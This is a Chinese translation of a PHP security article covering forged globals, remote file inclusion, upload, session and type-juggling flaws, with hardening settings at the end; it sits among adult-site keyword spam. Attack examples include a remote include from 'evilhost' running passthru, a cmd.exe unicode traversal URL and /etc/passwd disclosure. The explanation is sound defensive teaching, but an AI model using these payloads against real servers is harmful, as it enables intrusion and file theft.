久久福利_99r_国产日韩在线视频_直接看av的网站_中文欧美日韩_久久一

您的位置:首頁技術文章
文章詳情頁

如何對php程序中的常見漏洞進行攻擊

瀏覽:4日期:2024-01-25 17:49:43

來源:Chinaasp 之所以翻譯這篇文章,是因為目前關于CGI安全性的文章都是拿Perl作為例子,而專門介紹ASP,PHP或者JSP安全性的文章則很少。Shaun Clowes的這篇文章比較全面地介紹了PHP的安全問題,原文可以在http://www.securereality.com.au/stu...arlet.txt找到。

由于原文比較長,而且有相當一部分是介紹文章的背景或PHP的基礎知識,沒有涉及到PHP安全方面的內容,因此我沒有翻譯。如果你想了解這方面的知識,請參考原文。

文章主要從全局變量,遠程文件,文件上載,庫文件,Session文件,數據類型和容易出錯的函數這幾個方面分析了PHP的安全性,并且對如何增強PHP的安全性提出了一些有用的建議。

好了,廢話少說,我們言歸正傳!

[全局變量] PHP中的變量不需要事先聲明,它們會在第一次使用時自動創建,它們的類型也不需要指定,它們會根據上下文環境自動確定。從程序員的角度來看,這無疑是一種極其方便的處理方法。很顯然,這也是快速開發語言的一個很有用的特點。一旦一個變量被創建了,就可以在程序中的任何地方使用。這個特點導致的結果就是程序員很少初始化變量,畢竟,當它們第一次創建時,他們是空的。

很顯然,基于PHP的應用程序的主函數一般都是接受用戶的輸入(主要是表單變量,上載文件和Cookie等),然后對輸入數據進行處理,然后把結果返回到客戶端瀏覽器。為了使PHP代碼訪問用戶的輸入盡可能容易,實際上PHP是把這些輸入數據看作全局變量來處理的。

例如:

<FORM METHOD='GET' ACTION='test.php'> <INPUT TYPE='TEXT' NAME='hello'> <INPUT TYPE='SUBMIT'> </FORM>

很顯然,這會顯示一個文本框和提交按鈕。當用戶點擊提交按鈕時,“test.php”會處理用戶的輸入,當“test.php”運行時,“$hello”會包含用戶在文本框輸入的數據。從這里我們應該看出,攻擊者可以按照自己的意愿創建任意的全局變量。如果攻擊者不是通過表單輸入來調用“test.php”,而是直接在瀏覽器地址欄輸入http://server/test.php?hello=hi&set...敲矗恢故恰?/a>$hello”被創建,“$setup”也被創建了。

譯者注:這兩種方法也就是我們通常說的“POST”和“GET”方法。 下面的用戶認證代碼暴露了PHP的全局變量所導致的安全問題:

<?php if ($pass == 'hello') $auth = 1; ... if ($auth == 1) echo 'some important information'; ?>

上面的代碼首先檢查用戶的密碼是否為“hello”,如果匹配的話,設置“$auth”為“1”,即通過認證。之后如果“$suth”為“1”的話,就會顯示一些重要信息。

表面看起來是正確的,而且我們中有相當一部分人是這樣做的,但是這段代碼犯了想當然的錯誤,它假定“$auth”在沒有設置值的時候是空的,卻沒有想到攻擊者可以創建任何全局變量并賦值,通過類似“http://server/test.php?auth=1”的方...且丫現す摹?/a>

因此,為了提高PHP程序的安全性,我們不能相信任何沒有明確定義的變量。如果程序中的變量很多的話,這可是一項非常艱巨的任務。

一種常用的保護方式就是檢查數組HTTP_GET[]或POST_VARS[]中的變量,這依賴于我們的提交方式(GET或POST)。當PHP配置為打開“track_vars”選項的話(這是缺省值),用戶提交的變量就可以在全局變量和上面提到的數組中獲得。

但是值得說明的是,PHP有四個不同的數組變量用來處理用戶的輸入。HTTP_GET_VARS數組用來處理GET方式提交的變量,HTTP_POST_VARS數組用于處理POST方式提交的變量,HTTP_COOKIE_VARS數組用于處理作為cookie頭提交的變量,而對于HTTP_POST_FILES數組(比較新的PHP才提供),則完全是用戶用來提交變量的一種可選方式。用戶的一個請求可以很容易的把變量存在這四個數組中,因此一個安全的PHP程序應該檢查這四個數組。

[遠程文件] PHP是一種具有豐富特性的語言,提供了大量的函數,使編程者實現某個功能很容易。但是從安全的角度來看,功能越多,要保證它的安全性就越難,遠程文件就是說明這個問題的一個很好的例子:

<?php if (!($fd = fopen('$filename', 'r')) echo('Could not open file: $filename<BR>n'); ?>

上面的腳本試圖打開文件“$filename”,如果失敗就顯示錯誤信息。很明顯,如果我們能夠指定“$filename”的話,就能利用這個腳本瀏覽系統中的任何文件。但是,這個腳本還存在一個不太明顯的特性,那就是它可以從任何其它WEB或FTP站點讀取文件。實際上,PHP的大多數文件處理函數對遠程文件的處理是透明的。

例如: 如果指定“$filename”為“http://target/scripts/..%c1%1c../wi...md.exe?/c+dir” 則上面的代碼實際上是利用主機target上的unicode漏洞,執行了dir命令。

這使得支持遠程文件的include(),require(),include_once()和require_once()在上下文環境中變得更有趣。這些函數主要功能是包含指定文件的內容,并且把它們按照PHP代碼解釋,主要是用在庫文件上。

例如: <?php include($libdir . '/languages.php'); ?>

上例中“$libdir”一般是一個在執行代碼前已經設置好的路徑,如果攻擊者能夠使得“$libdir”沒有被設置的話,那么他就可以改變這個路徑。但是攻擊者并不能做任何事情,因為他們只能在他們指定的路徑中訪問文件languages.php(perl中的“Poison null byte”攻擊對PHP沒有作用)。但是由于有了對遠程文件的支持,攻擊者就可以做任何事情。例如,攻擊者可以在某臺服務器上放一個文件languages.php,包含如下內容:

<?php passthru('/bin/ls /etc'); ?>

然后把“$libdir”設置為“http://<evilhost>/”,這樣我們就可以在目標主機上執行上面的攻擊代碼,“/etc”目錄的內容作為結果返回到客戶的瀏覽器中。

需要注意的是,攻擊服務器(也就是evilhost)應該不能執行PHP代碼,否則攻擊代碼會在攻擊服務器,而不是目標服務器執行,如果你想了解具體的技術細節,請參考:http://www.securereality.com.au/sradv00006.txt

[文件上載] PHP自動支持基于RFC 1867的文件上載,我們看下面的例子:

<FORM METHOD='POST' ENCTYPE='multipart/form-data'> <INPUT TYPE='FILE' NAME='hello'> <INPUT TYPE='HIDDEN' NAME='MAX_FILE_SIZE' VALUE='10240'> <INPUT TYPE='SUBMIT'> </FORM>

上面的代碼讓用戶從本地機器選擇一個文件,當點擊提交后,文件就會被上載到服務器。這顯然是很有用的功能,但是PHP的響應方式使這項功能變的不安全。當PHP第一次接到這種請求,甚至在它開始解析被調用的PHP代碼之前,它會先接受遠程用戶的文件,檢查文件的長度是否超過“$MAX_FILE_SIZE variable”定義的值,如果通過這些測試的話,文件就會被存在本地的一個臨時目錄中。

因此,攻擊者可以發送任意文件給運行PHP的主機,在PHP程序還沒有決定是否接受文件上載時,文件已經被存在服務器上了。

這里我就不討論利用文件上載來對服務器進行DOS攻擊的可能性了。

讓我們考慮一下處理文件上載的PHP程序,正如我們上面說的,文件被接收并且存在服務器上(位置是在配置文件中指定的,一般是/tmp),擴展名一般是隨機的,類似“phpxXuoXG”的形式。PHP程序需要上載文件的信息以便處理它,這可以通過兩種方式,一種方式是在PHP 3中已經使用的,另一種是在我們對以前的方法提出安全公告后引入的。

但是,我們可以肯定的說,問題還是存在的,大多數PHP程序還是使用老的方式來處理上載文件。PHP設置了四個全局變量來描述上載文件,比如說上面的例子:

$hello = Filename on local machine (e.g '/tmp/phpxXuoXG') $hello_size = Size in bytes of file (e.g 1024) $hello_name = The original name of the file on the remote system (e.g 'c:temphello.txt') $hello_type = Mime type of uploaded file (e.g 'text/plain')

然后PHP程序開始處理根據“$hello”指定的文件,問題在于“$hello”不一定是一個PHP設置的變量,任何遠程用戶都可以指定它。如果我們使用下面的方式:

http://vulnhost/vuln.php?hello=/etc..._name=hello.txt

就導致了下面的PHP全局變量(當然POST方式也可以(甚至是Cookie)):

$hello = '/etc/passwd' $hello_size = 10240 $hello_type = 'text/plain' $hello_name = 'hello.txt'

上面的表單數據正好滿足了PHP程序所期望的變量,但是這時PHP程序不再處理上載的文件,而是處理“/etc/passwd”(通常會導致內容暴露)。這種攻擊可以用于暴露任何敏感文件的內容。

我在前面已經說了,新版本的PHP使用HTTP_POST_FILES[]來決定上載文件,同時也提供了很多函數來解決這個問題,例如有一個函數用來判斷某個文件是不是實際上載的文件。這些函數很好的解決了這個問題,但是實際上肯定有很多PHP程序仍然使用舊的方法,很容易受到這種攻擊。

作為文件上載的攻擊方法的一個變種,我們看一下下面的一段代碼:

<?php if (file_exists($theme)) // Checks the file exists on the local system (no remote files) include('$theme'); ?>

如果攻擊者可以控制“$theme”的話,很顯然它可以利用“$theme”來讀取遠程系統上的任何文件。攻擊者的最終目標是在遠程服務器上執行任意指令,但是他無法使用遠程文件,因此,他必須得在遠程服務器上創建一個PHP文件。這乍看起來好象是不可能的,但是文件上載幫了我們這個忙,如果攻擊者先在本地機器上創建一個包含PHP代碼的文件,然后創建一個包含名為“theme”的文件域的表單,最后用這個表單通過文件上載把創建的包含PHP代碼的文件提交給上面的代碼,PHP就會把攻擊者提交的文件保存起來,并把“$theme”的值設置為攻擊者提交的文件,這樣file_exists()函數會檢查通過,攻擊者的代碼也將執行。

獲得執行任意指令的能力之后,攻擊者顯然想提升權限或者是擴大戰果,而這又需要一些服務器上沒有的工具集,而文件上載又一次幫了我們這個忙。攻擊者可以使用文件上載功能上載工具,把她們存在服務器上,然后利用他們執行指令的能力,使用chmod()改變文件的權限,然后執行。例如:攻擊者可以繞過防火墻或IDS上載一個本地root攻擊程序,然后執行,這樣就獲得了root權限。

[庫文件] 正如我們前面討論的那樣,include()和require()主要是為了支持代碼庫,因為我們一般是把一些經常使用的函數放到一個獨立的文件中,這個獨立的文件就是代碼庫,當需要使用其中的函數時,我們只要把這個代碼庫包含到當前的文件中就可以了。

最初,人們開發和發布PHP程序的時候,為了區別代碼庫和主程序代碼,一般是為代碼庫文件設置一個“.inc”的擴展名,但是他們很快發現這是一個錯誤,因為這樣的文件無法被PHP解釋器正確解析為PHP代碼。如果我們直接請求服務器上的這種文件時,我們就會得到該文件的源代碼,這是因為當把PHP作為Apache的模塊使用時,PHP解釋器是根據文件的擴展名來決定是否解析為PHP代碼的。擴展名是站點管理員指定的,一般是“.php”, “.php3”和“.php4”。如果重要的配置數據被包含在沒有合適的擴展名的PHP文件中,那么遠程攻擊者很容易得到這些信息。

最簡單的解決方法就是給每個文件都指定一個PHP文件的擴展名,這樣可以很好的防止泄露源代碼的問題,但是又產生了新的問題,通過請求這個文件,攻擊者可能使本該在上下文環境中運行的代碼獨立運行,這可能導致前面討論的全部攻擊。

下面是一個很明顯的例子:

In main.php: <?php $libDir = '/libdir'; $langDir = '$libdir/languages';

...

include('$libdir/loadlanguage.php': ?>

In libdir/loadlanguage.php: <?php ...

include('$langDir/$userLang'); ?>

當“libdir/loadlanguage.php”被“main.php”調用時是相當安全的,但是因為“libdir/loadlanguage”具有“.php”的擴展名,因此遠程攻擊者可以直接請求這個文件,并且可以任意指定“$langDir”和“$userLang”的值。 [Session文件] PHP 4或更新的版本提供了對sessions的支持,它的主要作用是在PHP程序中保存頁與頁之間的狀態信息。例如,當一個用戶登陸進入網站,他登陸了這個事實以及誰登陸進入這個網站都被保存在session中,當他在網站中到處瀏覽時,所有的PHP代碼都可以獲得這些狀態信息。

事實上,當一個session啟動時(實際上是在配置文件中設置為在第一次請求時自動啟動),就會生成一個隨機的“session id”,如果遠程瀏覽器總是在發送請求時提交這個“session id”的話,session就會一直保持。這通過Cookie很容易實現,也可以通過在每頁提交一個表單變量(包含“session id”)來實現。PHP程序可以用session注冊一個特殊的變量,它的值會在每個PHP腳本結束后存在session文件中,也會在每個PHP腳本開始前加載到變量中。下面是一個簡單的例子:

<?php session_destroy(); // Kill any data currently in the session $session_auth = 'shaun'; session_register('session_auth'); // Register $session_auth as a session variable ?>

新版本的PHP都會自動把“$session_auth”的值設置為“shaun”,如果它們被修改的話,以后的腳本都會自動接受修改后的值,這對無狀態的Web來說的確是種很不錯的工具,但是我們也應該小心。

一個很明顯的問題就是確保變量的確來自session,例如,給定上面的代碼,如果后續的腳本是下面這樣的話:

<?php if (!empty($session_auth)) // Grant access to site here ?>

上面的代碼假定如果“$session_auth”被置位的話,就是從session,而不是從用戶輸入來置位的,如果攻擊者通過表單輸入來置位的話,他就可以獲得對站點的訪問權。注意攻擊者必須在session注冊該變量之前使用這種攻擊方法,一旦變量被放進了session,就會覆蓋任何表單輸入。

Session數據一般是保存在文件中(位置是可配置的,一般是“/tmp”),文件名一般是類似“sess_<session id>”的形式,這個文件包含變量名稱,變量類型,變量值和一些其它的數據。在多主機系統中,因為文件是以運行Web服務器的用戶身份(一般是nobody)保存的,因此惡意的站點擁有者就可以通過創建一個session文件來獲得對其它站點的訪問,甚至可以檢查session文件中的敏感信息。

Session機制也為攻擊者把自己的輸入保存在遠程系統的文件中提供了另一個方便的地方,對于上面的例子來說,攻擊者需要在遠程系統放置一個包含PHP代碼的文件,如果不能利用文件上載做到的話,他通常會利用session為一個變量按照自己的意愿賦一個值,然后猜測session文件的位置,而他知道文件名是“php<session id>”,所以只需猜測目錄,而目錄一般就是“/tmp”。

另外,攻擊者可以任意指定“session id”(例如“hello”),然后用這個“session id”創建一個session文件(例如“/tmp/sess_hello”),但是“session id”只能是字母和數字組合。

[數據類型] PHP具有比較松散的數據類型,變量的類型依賴于它們所處的上下文環境。例如:“$hello”開始是字符串變量,值為“”,但是在求值時,就變成了整形變量“0”,這有時可能會導致一些意想不到的結果。如果“$hello”的值為“000”還是為“0”是不同的,empty()返回的結果也不會為真。

PHP中的數組是關聯數組,也就是說,數組的索引是字符串型的。這意味著“$hello['000']”和“$hello[0]”也是不同的。

開發程序的時候應該仔細地考慮上面的問題,例如,我們不應該在一個地方測試某個變量是否為“0”,而在另外的地方使用empty()來驗證。

[容易出錯的函數] 我們在分析PHP程序中的漏洞時,如果能夠拿到源代碼的話,那么一份容易出錯的函數列表則是我們非常需要的。如果我們能夠遠程改變這些函數的參數的話,那么我們就很可能發現其中的漏洞。下面是一份比較詳細的容易出錯的函數列表:

<PHP代碼執行> require():讀取指定文件的內容并且作為PHP代碼解釋 include():同上 eval():把給定的字符串作為PHP代碼執行 preg_replace():當與“/e”開關一起使用時,替換字符串將被解釋為PHP代碼

<命令執行> exec():執行指定的命令,返回執行結果的最后一行 passthru():執行指定命令,返回所有結果到客戶瀏覽器 ``:執行指定命令,返回所有結果到一個數組 system():同passthru(),但是不處理二進制數據 popen():執行指定的命令,把輸入或輸出連接到PHP文件描述符

<文件泄露> fopen():打開文件,并對應一個PHP文件描述符 readfile():讀取文件的內容,然后輸出到客戶瀏覽器 file():把整個文件內容讀到一個數組中

譯者注:其實這份列表還不是很全,比如“mail()”等命令也可能執行命令,所以需要自己補充一下。 [如何增強PHP的安全性] 我在上面介紹的所有攻擊對于缺省安裝的PHP 4都可以很好的實現,但是我已經重復了很多次,PHP的配置非常靈活,通過配置一些PHP選項,我們完全可能抵抗其中的一些攻擊。下面我按照實現的難度對一些配置進行了分類:

*低難度 **中低難度 ***中高難度 ****高難度

上面的分類只是個人的看法,但是我可以保證,如果你使用了PHP提供的所有選項的話,那么你的PHP將是很安全的,即使是第三方的代碼也是如此,因為其中很多功能已經不能使用。

**** 設置“register_globals”為“off” 這個選項會禁止PHP為用戶輸入創建全局變量,也就是說,如果用戶提交表單變量“hello”,PHP不會創建“$ hello”,而只會創建“HTTP_GET/POST_VARS['hello']”。這是PHP中一個極其重要的選項,關閉這個選項,會給編程帶來很大的不便。

*** 設置“safe_mode”為“on” 打開這個選項,會增加如下限制: 1. 限制哪個命令可以被執行 2. 限制哪個函數可以被使用 3. 基于腳本所有權和目標文件所有權的文件訪問限制 4. 禁止文件上載功能 這對于ISP來說是一個偉大的選項,同時它也能極大地改進PHP的安全性。

** 設置“open_basedir” 這個選項可以禁止指定目錄之外的文件操作,有效地消除了本地文件或者是遠程文件被include()的攻擊,但是仍需要注意文件上載和session文件的攻擊。

** 設置“display_errors”為“off”,設置“log_errors”為“on” 這個選項禁止把錯誤信息顯示在網頁中,而是記錄到日志文件中,這可以有效的抵制攻擊者對目標腳本中函數的探測。

* 設置“allow_url_fopen”為“off” 這個選項可以禁止遠程文件功能,極力推薦!

標簽: PHP
相關文章:
主站蜘蛛池模板: 免费看的毛片 | 四虎影视网址 | 在线a视频 | 国产精品一区一区三区 | 欧美一区在线视频 | 91在线资源 | av在线免费观看网站 | 久久亚洲综合 | 狠狠av | 国产一区二区精品在线观看 | 操视频网站| 男女羞羞视频在线观看 | 99视频在线播放 | 另类亚洲专区 | 国产欧美日韩在线 | 黄色片网站 | 一区二区三区视频免费在线观看 | 女人久久久久 | 天天拍天天草 | a级在线观看 | 久操不卡 | 午夜不卡视频 | 亚洲无吗电影 | 欧美日韩国产欧美 | 日韩色av | 久久精品久久久 | 色综合久久一区二区三区 | 欧洲成人午夜免费大片 | 日韩欧美一区二区三区视频 | 91国自产精品中文字幕亚洲 | 一区二区视频在线观看 | 久久国产精品免费一区二区三区 | 永久av| 亚洲精品久久久 | 亚洲精品久久久久国产 | 中文字幕一区二区三区在线视频 | 天天爱爱网 | 欧美视频网站 | 国产一区二区视频在线播放 | 国产精品1区二区 | 精品香蕉一区二区三区 | 日韩视频在线免费观看 | 国产成人精品一区二 | 青草青草久热精品视频在线观看 | 美日韩成人 | 精品久久久久香蕉网 | 久久久99久久久国产自输拍 | 国产成人免费视频网站视频社区 | porn在线| 你懂的在线视频播放 | 久久99国产精品 | 久久青青操 | 日日干夜夜干 | 欧美激情欧美激情在线五月 | 免费在线成人网 | 日本久久网站 | 国产在线观看91一区二区三区 | 久久中文字幕一区 | 成人av网站免费观看 | 嫩呦国产一区二区三区av | 欧产日产国产精品一二 | 91激情视频 | 一级毛片免费视频 | 日本综合色 | av成人在线观看 | 日日爱视频 | 欧美午夜一区二区三区免费大片 | 国产精品永久免费视频 | 精品一区免费 | 区一区二区三在线观看 | 色久视频 | 精品中出| 亚洲三级在线观看 | 毛片av在线 | 在线观看免费黄色 | 在线欧美日韩 | 国产精品毛片久久久久久久 | 亚洲一区精品在线 | 久久人人爽人人爽人人片av软件 | 久久久久91 | 91久久综合亚洲鲁鲁五月天 | 成人国产精品久久久 | 国产午夜小视频 | 国产一二三视频 | 国产精选视频 | www国产亚洲精品久久网站 | www久久国产 | 日本久久二区 | 亚洲欧洲tv| 久久久精品综合 | 在线视频 亚洲 | 91成人区| 午夜精品久久久久久久久久久久 | 中文字幕在线视频免费观看 | 午夜激情av | 天天操天天干天天 | 色婷综合网 | 色图综合| 欧美日韩不卡合集视频 | www视频在线观看 | 国产91亚洲精品久久久 | 国产色| 中文字幕一二三区 | 在线看亚洲 | 日韩在线大片 | 成人涩涩日本国产一区 | 亚洲精品视频在线看 | 亚洲成人精品一区 | 日韩成人高清视频 | 久久精品久久久久电影 | 日韩和的一区二区 | 在线影院av | 午夜国产一级片 | 欧美午夜一区二区三区免费大片 | av国产精品 | 午夜天堂精品久久久久 | 综合久久99 | 久久a毛片 | 欧美一级片在线观看 | 欧美中文字幕在线 | 国产精品免费观看 | 成人av一区二区三区 | 欧美日韩一区精品 | 伊人网网站 | 激情综合色综合久久综合 | 日本精品免费 | 亚洲成人精品一区二区三区 | 中文字幕高清视频 | 一区二区三区精品视频 | 美日韩成人| 欧美日韩一区二区三区在线观看 | 国产女人和拘做受视频 | 欧美一区二区三 | 成人伊人 | 综合中文字幕 | 久在草视频 | 成人免费视频网址 | 三级网站在线播放 | 欧美黄色片免费观看 | 一区二区三区四区精品 | 大香一网 | 97伦理在线 | 午夜精品影院 | 国产精品爱久久久久久久 | 99国产精品久久久久久久成人热 | 高清国产一区二区三区四区五区 | 国产精品a一区二区三区网址 | av色伊人久久综合一区二区 | 在线 亚洲 欧美 | 久久99精品视频 | 在线观看91 | 国产成人av一区二区三区 | h视频在线免费观看 | 成年人在线观看 | 欧美午夜精品久久久久久人妖 | 黄片毛片在线观看 | 羞羞的视频在线观看 | 欧洲成人午夜免费大片 | 毛片久久久 | 国产精品久久久久久久久久 | 久久精品99| 日韩欧美精品一区二区三区 | 国产精品久久久久久久久久久久冷 | 奇米影视四色777me | 色接久久 | 青青草久草 | 在线成人av| 一区二区三区国产 | 色天天综合久久久久综合片 | 国产精品入口久久 | 亚洲jizzjizz日本少妇 | 亚洲综合色视频在线观看 | 国产91视频一区二区 | 精品综合 | 国产中文在线 | 国产一区免费在线观看 | 成人a级片在线观看 | 在线观看a视频 | 中文字幕av亚洲精品一部二部 | 国产综合亚洲精品一区二 | 男女18免费网站视频 | 一区二区三区精品视频 | 97精品超碰一区二区三区 | 久久综合久 | 亚洲综合成人网 | 国产三级在线 | 2019中文字幕视频 | 欧美精品久久一区 | 亚洲欧洲精品视频在线观看 | 日韩精品1区 | 国产不卡视频 | 波多野结衣av中文字幕 | 精品国产乱码久久久久久久软件 | 久久人妖 | 天天干夜夜弄 | 久久6 | 日韩精品第一页 | 丁香在线| 欧美成年黄网站色视频 | 精品人伦一区二区三区蜜桃视频 | 久久精品一区二区三区四区 | 啊啊啊网站 | 精品国产91亚洲一区二区三区www | 国产美女精品视频免费观看 | 午夜免费小视频 | 免费成人在线网站 | a级片视频在线观看 | 亚洲欧美在线一区二区 | 成人日韩 | 欧美区在线 | a级毛片免费高清视频 | 国产在线观看一区二区三区 | 天天干,夜夜操 | 亚洲午夜精品视频 | 亚洲视频精品在线 | 91精品中文字幕一区二区三区 | 精品久久久一区 | 欧美日韩在线精品 | 精品国产乱码一区二区三区a | 成人欧美一区二区三区黑人孕妇 | 91精品中文字幕一区二区三区 | 一级电影免费看 | 国产91视频一区二区 | 亚洲精品www| 国产精品美女久久久久aⅴ国产馆 | 国产精品亚洲欧美日韩一区在线 | 伊人狠狠干 | 精品久久香蕉国产线看观看亚洲 | 91av爱爱 | 色网网站 | 精品香蕉一区二区三区 | 黄色av网站在线观看 | 色玖玖| 国产成人免费视频网站视频社区 | 99久久综合 | 久久精品网 | 精品国产99| 五月激情婷婷六月 | 欧美精品一 | 久久久久久久久国产 | 一区二区三区国产视频 | 亚洲视频在线播放 | 国产精品久久久 | 国产操片 | www.视频在线观看 | 亚洲97 | 亚洲一区二区免费看 | 亚洲视频免费网站 | 欲色av | 色婷婷一区二区三区四区 | 在线一区二区免费 | 精品视频在线观看一区二区 | www.久草.com| 91九色在线 | 久久国产精品一区 | 91精品中文字幕一区二区三区 | 日本成人中文字幕在线观看 | 国产小视频在线观看 | yy6080久久伦理一区二区 | 国产亚洲精品美女久久久久久久久久 | 国产欧美精品一区二区色综合朱莉 | 欧美成人h版在线观看 | 欧美嘿咻 | 午夜久久久久 | 亚洲精品视频免费观看 | 蜜臀久久99精品久久久无需会员 | 国产亚洲精品v | 精品国产欧美 | 亚洲欧美一区二区精品中文字幕 | 中文字幕国产 | 日韩精品 电影一区 亚洲 | 精品国产欧美一区二区 | 激情一区 | 美女91| 黄色在线免费看 | 一区二区三区视频 | 日韩电影三级 | 欧美性网| 亚洲精品久久久久久国产精华液 | 午夜精品久久久久久久久久久久 | 国产看片网站 | 夜本色| 日本黄色激情片 | 国产在线拍| 日韩在线一区二区三区 | 日本天天操 | 青青草免费在线 | 国产精品婷婷午夜在线观看 | 韩日一区 | 激情国产| 久草视频在线播放 | 中国av在线| 亚洲精品一区二三区不卡 | 日韩一区二区福利 | 一区二区欧美在线 | 精品视频一区二区三区四区 | 新疆少妇videos高潮 | 成人性生交大片免费看中文带字幕 | 久久亚洲精品裙底抄底 | 欧美激情视频一区二区三区在线播放 | 久久久久国产精品一区二区三区 | 一区二区在线视频 | 午夜精品久久久久久久男人的天堂 | 欧美日韩在线视频一区二区 | 国产精品亲子伦av一区二区三区 | 福利视频一 | 超碰九七在线 | 夜夜精品视频 | 偷拍电影一区二区三区 | 国产欧美高清在线观看 | 黄p在线看 | 91精品国产一区二区三区香蕉 | 久久精品久久综合 | www.com国产精品 | 九九久久久 | 久久99国产精品 | 91麻豆精品国产91久久久资源速度 | 欧美日免费 | 日韩免费高清视频 | 动漫羞免费网站中文字幕 | 婷婷激情五月 | 夜夜av | 亚洲人免费视频 | 亚洲三区在线观看 | 一区二区三区精品 | 自拍亚洲| 中文字幕二区 | 国产毛片一区二区 | 久久久高清 | 国产欧美一区二区三区在线看 | 日韩精品一区二区三区在线观看 | 亚州精品成人 | 成人一区二区三区 | 精品国产91亚洲一区二区三区www | 欧美一级片免费播放 | 91资源在线观看 | 国产精品久久久久久久久久妇女 | 国产女人和拘做受在线视频 | www.久久久.com| 精品国产乱码久久久久久1区2区 | 99草草 | 日本高清中文字幕 | 91麻豆视频 | 91精品久久久久久久久久小网站 | h片观看 | 亚洲精品久久久一区二区三区 | 日本一区二区三区中文字幕 | 拍拍无遮挡人做人爱视频免费观看 | 国内自拍视频在线观看 | 在线欧美视频 | 一区二区在线视频免费观看 | 日韩视频在线播放 | 狠狠的干 | 日韩一区二区在线播放 | 国产一区二区免费 | av片在线免费观看 | 成人精品视频99在线观看免费 | 1级毛片| 天天操天天碰 | 日韩国产一区二区三区 | 成人av高清在线观看 | 精品国产一区二区三区在线观看 | 国产精品一码二码三码在线 | 999精品视频 | 四虎免费看黄 | 久久国内精品 | 99免费观看 | 西西做爰免费视频 | 精精国产xxxx视频在线 | 96久久久 | k8久久久一区二区三区 | 久久久久久久一区 | 欧美激情在线播放 | 国产美女一区二区 | 久久精品国产一区 | 国产精品久久久一区二区 | 精品无码久久久久久国产 | 久久久国产精品入口麻豆 | 亚洲中午字幕 | 久久久久久国产一级毛片高清版 | 欧美一区二区三区四区五区 | 成人免费视频7777777 | 天堂综合网久久 | 亚洲成av人片一区二区三区 | 亚洲国产精品久久久 | 国产老女人精品毛片久久 | 91中文在线观看 | 一色视频 | 欧美精品一二区 | 欧美一级毛片日韩一级 | 色一情一乱一伦一区二区三区 | 爱操av| av在线天堂 | 久久99久久久久 | 国产不卡一区 | 日韩国产在线 | a级在线| 亚洲精品一区二区三区 | 欧美国产精品一区二区三区 | 亚洲欧美日韩国产 | 成人免费一区二区三区视频软件 | 97精品国产97久久久久久免费 | 色欧美综合 | 国产一区二区三区在线 | 99热首页| 国产精品视频免费播放 | 久久久久免费观看 | 一区二区在线 | 一区二区三区欧美在线 | 亚洲综合视频一区 | 久久久天堂国产精品女人 | 国产无区一区二区三麻豆 | 国产精品国产三级国产aⅴ中文 | 手机看片1 | а√天堂中文在线资源8 | 99久久久精品 | 美女午夜影院 | 亚洲成人免费 | 国产免费一区二区三区 | 91社区在线高清 | 精品99久久久久久 | 91视频在线免费观看 | 日本中文字幕在线观看 | 蜜桃视频麻豆女神沈芯语免费观看 | 中文字幕二区三区 | 欧美专区在线观看 | 久久韩国 | 一级毛片视屏 | 日韩av一区二区三区在线观看 | 欧洲亚洲视频 | 日韩欧美三级 | 久久另类ts人妖一区二区 | 亚洲国产精品网站 | 在线视频中文字幕 | 一 级 黄 色 片免费网站 | 可以免费看的av | 国产在线一二三区 | 在线精品亚洲欧美日韩国产 | 国产一区二区在线免费观看 | 久久久久久免费精品 | 日韩中文字幕一区二区 | 亚洲国产欧美一区二区三区久久 | 欧美日韩中文国产一区发布 | 亚洲男人的天堂网站 | 最新中文字幕视频 | 国产一区二区精品丝袜 | 拍拍无遮挡人做人爱视频免费观看 | 成人免费视频观看视频 | 亚洲精品久久久久久久久久 | 无码日韩精品一区二区免费 | 在线欧美日韩 | 亚洲 欧美 日韩 丝袜 另类 | 电影91久久久 | 午夜操操 | 亚洲一区二区三区四区五区午夜 | 亚洲欧美中文日韩在线v日本 | 国产一区在线免费 | 成人超碰在线 | 久久久久国产精品一区二区三区 | 免费看特级毛片 | 成人一区二区三区 | 成人免费福利 | 国产亚洲网站 | 国产日韩一区 | 中文字幕 在线观看 | 精品96久久久久久中文字幕无 | zzzwww在线观看免 | 国产精品久久久久永久免费观看 | 伊人网站| 亚洲四区 | 精品国产乱码久久久久久影片 | 亚洲精品一区 | 日韩中文字| 中文字幕欧美日韩一区 | 欧美精品欧美精品系列 | 亚洲国产一二区 | 国产精品二区一区二区aⅴ污介绍 | 中文字幕在线电影 | 国产一区网站 | 日韩欧美黄色 | 欧美高清性xxxxhdvideosex | 国户精品久久久久久久久久久不卡 | 中文字幕观看 | 亚洲欧美高清 | 欧美日韩一区二区三区在线观看 | 国产精品国产精品国产专区不片 | avsex国产| 狠狠亚洲 | 草久在线视频 | 日韩免费| av天天网| 亚洲欧美综合精品久久成人 | 日韩欧美二区 | 天天插天天射天天干 | 国产日韩一区 | 久久久久亚洲av毛片大全 | 精品一区二区三区中文字幕 | 国产精品久久片 | 亚洲欧美在线观看 | 欧美久久视频 | 国产精品久久久久久久久久免费看 | 一道本一区| 国产一级在线观看 | 涩涩视频网站在线观看 | 日本xxww视频免费 | 国产日韩欧美在线 | 国产成人高清精品免费5388 | av超碰| 中文一区 | 久久国产精品精品国产 | 久久女人 | 亚洲国产精品t66y | 久久久国产一区二区三区 | 激情欧美一区二区三区中文字幕 | 欧美一级一区 | av网站在线免费观看 | 操片| 国产精品三级在线 | 99亚洲 | 日日干夜夜操 | 国产一级视频 | 亚洲国产成人av好男人在线观看 | 成人免费在线视频播放 | 国产精品久久毛片 | 男人视频网站 | 蜜臀精品久久久久久蜜臀 | 成人免毛片 | 成人午夜| 成人小视频在线观看 | 日韩成人精品在线观看 | 午夜视频免费 | 国产午夜精品一区二区三区视频 | 国产一区二区精品在线观看 | 国产伦精品一区二区三区在线 | 国产综合精品 | 国产精品毛片 | 欧美一级高潮片免费的 | 成人在线观 | 一级成人免费 | 日韩一区二区精品视频 | 久操综合 | 国产视频福利在线观看 | av解说在线精品 | 中文字幕亚洲一区二区va在线 | 精品国产乱码久久久久久1区2区 | 午夜电影福利 | 欧美日韩成人在线观看 | www夜夜操 | 99在线视频观看 | 精品成人免费一区二区在线播放 | 自拍偷拍精品 | av网战| 美女视频一区二区三区 | 精品91| 中文字幕第一页在线视频 | 久久久久久久国产 | 久久se精品一区精品二区 | 国产精品99久久久久久久vr | 一区二区日韩视频 | 国产精品一级 | 色丁香婷婷| 色先锋av资源中文字幕 | 国产91富婆养生按摩会所 | av一区二区三区四区 | 伊人伊人伊人 | 99色综合 | 一区二区三区在线 | 欧 | 亚洲福利 | 欧美在线一区二区三区 | 免费中文字幕 | 久免费视频 | 亚洲国产精品一区二区第一页 | 一区二区三区不卡视频 | 